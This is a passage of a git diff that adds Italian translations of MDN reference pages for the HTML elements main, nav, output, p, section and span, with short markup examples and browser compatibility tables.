+ <li><dfn><a href="/en-US/docs/Web/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuto</a></dfn><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Palpable_content">palpable content</a>.</li>
+ <li><dfn>Contenuto permesso</dfn> <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">Flow content</a>.</li>
+ <li><dfn>Omissione di tag</dfn> Nessuna; entrambi i tag di inizio e fine sono obbligatori.</li>
+ <li><dfn>Elementi genitori permessi</dfn>Ogni elemento che accetta <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">flow content</a>, ma non può essere un discendente di un elemento {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, o {{HTMLElement("nav")}}.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include solo gli </span><a href="/en-US/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;!-- altro contenuto --&gt;
+
+<span class="highlight">&lt;main&gt;</span>
+  &lt;h1&gt;Mele&lt;/h1&gt;
+  &lt;p&gt;La mela è il frutto pomoforme dell'albero di mele.&lt;/p&gt;
+
+  &lt;article&gt;
+    &lt;h2&gt;Red Delicious&lt;/h2&gt;
+    &lt;p&gt;Queste mele rosso brillante sono le più comuni che si possono trovare in molti
+    supermercati.&lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+  &lt;/article&gt;
+
+  &lt;article&gt;
+    &lt;h2&gt;Granny Smith&lt;/h2&gt;
+    &lt;p&gt;Queste succose mele verdi sono un'ottimo ripieno per le torte
+    di mela.&lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+  &lt;/article&gt;
+
+<span class="highlight">&lt;/main&gt;</span>
+
+&lt;!-- altro contenuto --&gt;</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Rimossa la restrizione che prevedeva il non utilizzo di <code>&lt;main&gt;</code> come discendente di un elemento {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, o {{HTMLElement("nav")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Nessun cambiamento da {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità con i browser</h2>
+
+<p>In quanto nuova funzione proposta per HTML, l'elemento <code>&lt;main&gt;</code> non è ancora ampiamente supportato. Si è quindi fortemente incoraggiati ad aggiungere il ruolo ARIA <span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">"main"</span><span style="line-height: 1.5;"> ad ogni elemento </span><code style="font-style: normal; line-height: 1.5;">&lt;main&gt;</code><span style="line-height: 1.5;"> inserito:</span></p>
+
+<pre class="brush: html">&lt;main role="main"&gt;
+  ...
+&lt;/main&gt;
+</pre>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>Chrome 26</td>
+   <td>{{ CompatGeckoDesktop("21.0") }}</td>
+   <td>{{CompatNo()}}</td>
+   <td>Opera 16</td>
+   <td>Safari 7</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{ CompatGeckoMobile("21.0") }}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatNo()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Elementi strutturali di base: {{HTMLElement("html")}}, {{HTMLElement("head")}}, {{HTMLElement("body")}}</li>
+ <li>Elementi di sezione: {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, or {{HTMLElement("nav")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/it/web/html/element/nav/index.html b/files/it/web/html/element/nav/index.html
new file mode 100644
index 0000000000..edd0461c45
--- /dev/null
+++ b/files/it/web/html/element/nav/index.html
@@ -0,0 +1,124 @@
+---
+title: <nav>
+slug: Web/HTML/Element/nav
+translation_of: Web/HTML/Element/nav
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<em>elemento HTML nav</em> (<code>&lt;nav&gt;</code>) rappresenta una sezione della pagina che contiene link ad altre pagine o a parti della pagina corrente: una sezione di navigazione.</p>
+
+<div class="note">
+<p><em>Note d'uso:</em></p>
+
+<ul>
+ <li>Non tutti i link di un documento devono essere in un elemento <code>&lt;nav&gt;</code>, che è stato pensato solo per i blocchi di link più importanti; spesso l'elemento {{HTMLElement("footer")}} contiene una lista di link che non necessitano di essere in un elemento {{HTMLElement("nav")}}.</li>
+ <li>Un documento potrebbe avere vari elementi {{HTMLElement("nav")}}, per sempio uno per la navigazione all'interno del sito e uno per la navigazione all'interno della pagina.</li>
+ <li>Gli interpreti, come un programma di lettura dello schermo per gli utenti disabili, può usare quest'elemento per determinare se non visualizzarne il contenuto.</li>
+</ul>
+</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuti</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti di flusso</a>, <a href="/en-US/docs/HTML/Content_categories#Sectioning_content" title="HTML/Content categories#Sectioning_content">contenuti di sezionamento</a>, contenuti palpabili.</li>
+ <li><dfn>Contenuti permessi</dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti di flusso</a>.</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Permitted parent elements</dfn> Qualsiasi elemento che accetti <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">contenuti di flusso</a>.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include solo gli </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush:xml">&lt;nav&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Home&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#"&gt;About&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Contatti&lt;/a&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/nav&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support di base</td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0 (iOS 4.2)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Altri elementi correlati alle sezioni: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li class="last"><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sezioni e indici nei documenti HTML5</a>.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/output/index.html b/files/it/web/html/element/output/index.html
new file mode 100644
index 0000000000..fea9864a1b
--- /dev/null
+++ b/files/it/web/html/element/output/index.html
@@ -0,0 +1,122 @@
+---
+title: Il tag <output>
+slug: Web/HTML/Element/output
+translation_of: Web/HTML/Element/output
+---
+<h2 id="Summary" name="Summary">Riassunto</h2>
+
+<p>Il tag <strong>HTML <code>&lt;output&gt;</code> </strong>rappresenta il risultato di un calcolo o azione dell'utente.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>, <a href="/en-US/docs/HTML/Content_categories#Form_listed" title="HTML/Content categories#Form listed">listed</a>, <a href="/en-US/docs/HTML/Content_categories#Form_labelable" title="HTML/Content categories#Form labelable">labelable</a>, <a href="/en-US/docs/HTML/Content_categories#Form_resettable" title="HTML/Content categories#Form resettable">resettable</a>  <a href="/en-US/docs/HTML/Content_categories#Form-associated_content" title="HTML/Content categories#Form-associated content">form-associated element</a>, palpable content.</li>
+ <li><dfn>Permitted content</dfn> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">Phrasing content</a>.</li>
+ <li><dfn>Tag omission</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Permitted parent elements</dfn> Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLOutputElement")}}</li>
+</ul>
+
+<h2 id="Attributes" name="Attributes">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo argomento include </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/attributi globali">attributi globali</a></p>
+
+<dl>
+ <dt>{{htmlattrdef("for")}}</dt>
+ <dd>Un elenco di ID di altri elementi, che indica che tali elementi hanno contribuito a valori di ingresso (o comunque influenzato) il calcolo.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>L'elemento form a cui l'elemento di output è associato (il "proprietario del form"). Il valore dell'attributo deve essere un ID di un form nello stesso documento. Nel caso in cui questo attributo non sia specificato, l'elemento di output deve essere un discendente di un form. Questo attributo permette di inserire elementi di output ovunque all'interno del documento, prescindendo dal vincolo che gli elementi output debbano essere collocati all'interno del form cui fanno riferimento.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Il nome dell'elemento.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush:html">&lt;form oninput="result.value=parseInt(a.value)+parseInt(b.value)"&gt;
+    &lt;input type="range" name="b" value="50" /&gt; +
+    &lt;input type="number" name="a" value="10" /&gt; =
+    &lt;output name="result"&gt;&lt;/output&gt;
+&lt;/form&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-button-element.html#the-output-element', '&lt;output&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-output-element', '&lt;output&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità fra browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>10</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>11</td>
+   <td>nightly</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>Other form-related elements: {{HTMLElement("form")}}, {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
+
+<p> </p>
diff --git a/files/it/web/html/element/p/index.html b/files/it/web/html/element/p/index.html
new file mode 100644
index 0000000000..43076c3029
--- /dev/null
+++ b/files/it/web/html/element/p/index.html
@@ -0,0 +1,109 @@
+---
+title: '<p>: The Paragraph element'
+slug: Web/HTML/Element/p
+tags:
+  - Contenuto di Raggruppamento HTML
+  - Elemento
+  - HTML
+  - Riferimento
+  - Web
+translation_of: Web/HTML/Element/p
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">L'<strong>elemento</strong> <strong>HTML <code>&lt;p&gt;</code> </strong>rappresenta un paragrafo di un testo. I paragrafi sono di solito rappresentati in modalità visiva come blocchi di testo che sono separati da blocchi adiacenti da linee di spazio verticali e/o dalla prima linea di indentazione</span>. I paragrafi sono elementi block-level.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Categorie di contenuto</a></th>
+   <td><a href="https://developer.mozilla.org/it/docs/Web/Guide/HTML/Categorie_di_contenuto#Contenuto_di_flusso">Contenuto di flusso</a>, contenuto palpabile.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenuto permesso</th>
+   <td><a href="https://developer.mozilla.org/it/docs/Web/Guide/HTML/Categorie_di_contenuto#Contenuto_di_enunciazione">Frasi.</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omessi</th>
+   <td>Il tag di partenza è richiesto. Il tag di fine può essere omesso se l'elemento {{HTMLElement("p")}} è immediatamente seguito da un {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hr")}}, {{HTMLElement("menu")}}, {{HTMLElement("nav")}}, {{HTMLElement("ol")}}, {{HTMLElement("pre")}}, {{HTMLElement("section")}}, {{HTMLElement("table")}}, {{HTMLElement("ul")}} o un altro elemento {{HTMLElement("p")}}, o se non ci sono più contenuti nell'elemento genitore ed esso non è un elemento {{HTMLElement("a")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Genitori permessi</th>
+   <td>Qualsiasi elemento che accetta <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Ruoli ARIA permessi</th>
+   <td>Qualsiasi.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaccia DOM</th>
+   <td>{{domxref("HTMLParagraphElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include i <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> L'attributo <code>align</code> sui tag <code>&lt;p&gt;</code> è obsoleto e non dovrebbe essere più usato.</p>
+</div>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: html">&lt;p&gt;This is the first paragraph of text.
+  This is the first paragraph of text.
+  This is the first paragraph of text.
+  This is the first paragraph of text.&lt;/p&gt;
+&lt;p&gt;This is the second paragraph.
+ This is the second paragraph.
+ This is the second paragraph.
+ This is the second paragraph.&lt;/p&gt;
+</pre>
+
+<p>Il risultato di questo codice è:</p>
+
+<p>{{EmbedLiveSample('Esempi')}}</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specificazione</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-p-element', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Nessun cambiamento dall'ultima istantanea W3C {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-p-element', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>attributo <code>align</code> è obsoleto</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.1', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_Browser">Compatibilità con i Browser</h2>
+
+
+
+<p>{{Compat("html.elements.p")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTMLElement("hr")}}</li>
+ <li>{{HTMLElement("br")}}</li>
+</ul>
diff --git a/files/it/web/html/element/section/index.html b/files/it/web/html/element/section/index.html
new file mode 100644
index 0000000000..2dbac135c5
--- /dev/null
+++ b/files/it/web/html/element/section/index.html
@@ -0,0 +1,150 @@
+---
+title: <section>
+slug: Web/HTML/Element/section
+translation_of: Web/HTML/Element/section
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<em>elemento HTML section</em> (<code>&lt;section&gt;</code>) rappresenta una sezione generica di un documento, ovvero un gruppo tematico di contenuti, tipicamente provvisto di un'intestazione. Ogni <code>&lt;section&gt;</code> dovrebbe essere identificabile, solitamente utlizzando un'intestazione ({{HTMLElement('h1')}}-{{HTMLElement('h6')}}) come fliglio dell'elemento <code>&lt;section&gt;</code></p>
+
+<div class="note">
+<p><em>Note d'uso :</em></p>
+
+<ul>
+ <li>Se ha senso aggregare il contenuto di un elemento {{HTMLElement("section")}}, è preferibile usare un elemento {{HTMLElement("article")}} al suo posto.</li>
+ <li>Si sconsiglia di usare l'elemento {{HTMLElement("section")}} come contenitore generico; a questo scopo è preferibile usare {{HTMLElement("div")}}, soprattutto quando la suddivisione in sezioni viene solamente effettuata a scopo stilistico. La regola generale è che una sezione debba apparire logicamente nell'indice di un documento.</li>
+</ul>
+</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/docs/Web/HTML/Content_categories">Categorie di contenuti</a></dfn><a href="/docs/Web/HTML/Content_categories#Flow_content">Contenuti di flusso</a>, <a href="/docs/Web/HTML/Content_categories#Sectioning_content">contenuti di sezionamento</a>, contenuti palpabili.</li>
+ <li><dfn>Contenuti permessi</dfn> <a href="/docs/Web/HTML/Content_categories#Flow_content">Contenuti di flusso</a>.</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitore permessi</dfn>Qualsiasi elemento che accetti  <a href="/docs/Web/HTML/Content_categories#Flow_content">contenuti di flusso</a>. Notare che un elemento {{HTMLElement("section")}} non può essere discendente di un elemento {{HTMLElement("address")}}.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include solo gli <a href="/docs/Web/HTML/Global_attributes">attributi globali</a>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h1&gt;Intestazione&lt;/h1&gt;
+  &lt;p&gt;Contenuto&lt;/p&gt;
+&lt;/section&gt;
+</pre>
+
+<h3 id="Esempio_2">Esempio 2</h3>
+
+<h4 id="Prima">Prima</h4>
+
+<div> </div>
+
+<div>
+<pre class="brush: html" style="font-size: 14px;">&lt;div&gt;
+  &lt;h2&gt;Intestazione&lt;/h2&gt;
+  &lt;img&gt;Un'immagine&lt;/img&gt;
+&lt;/div&gt;</pre>
+
+<div> </div>
+
+<div>
+<h4 id="Dopo" style="line-height: 18px; font-size: 1.28571428571429rem;">Dopo</h4>
+
+<div> </div>
+
+<div>
+<pre class="brush: html" style="font-size: 14px;">&lt;section&gt;
+  &lt;h2&gt;Intestazione&lt;/h2&gt;
+  &lt;img&gt;Un'immagine&lt;/img&gt;
+&lt;/section&gt;</pre>
+</div>
+</div>
+</div>
+
+<p> </p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0 (iOS 4.2)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Altri elementi correlati alle sezioni: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li><a href="/docs/Sections_and_Outlines_of_an_HTML5_document">Sezioni e indici nei documenti HTML5</a>.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/span/index.html b/files/it/web/html/element/span/index.html
new file mode 100644
index 0000000000..6342586894
--- /dev/null
+++ b/files/it/web/html/element/span/index.html
@@ -0,0 +1,110 @@
+---
+title: <span>
+slug: Web/HTML/Element/span
+translation_of: Web/HTML/Element/span
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">L'<strong>elemento HTML <code>&lt;span&gt;</code> </strong>è un contenitore inline generico per il contenuto di frasi, che non rappresenta intrinsecamente nulla. Può essere utilizzato per raggruppare gli elementi per scopi di stile (usando gli attributi <code>class</code> o <code>id</code>), o perché condividono valori di attributo, come <code>lang</code>.</span> Dovrebbe essere usato solo quando nessun altro elemento semantico è appropriato. <code>&lt;span&gt;</code> è molto simile ad un elemento {{HTMLElement("div")}}, ma {{HTMLElement("div")}} è un <a href="/it/docs/Web/HTML/Block-level_elements">elemento a livello di blocco</a> mentre un elemento <code>&lt;span&gt;</code> è un <a href="/it/docs/Web/HTML/Inline_elements">elemento inline</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/span.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Categorie di contenuti</a></th>
+   <td><a href="https://developer.mozilla.org/it/docs/Web/Guide/HTML/Categorie_di_contenuto#Contenuto_di_flusso">Contenuto di flusso</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">contenuto di frasi</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenuto consentito</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Contenuto di frasi</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omissione del tag</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Genitori consentiti</th>
+   <td>Qualsiasi elemento che accetta <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">contenuto di frasi</a>, o qualsiasi elemento che accetta <a href="https://developer.mozilla.org/it/docs/Web/Guide/HTML/Categorie_di_contenuto#Contenuto_di_flusso">contenuto di flusso</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">ARIA roles consentiti</th>
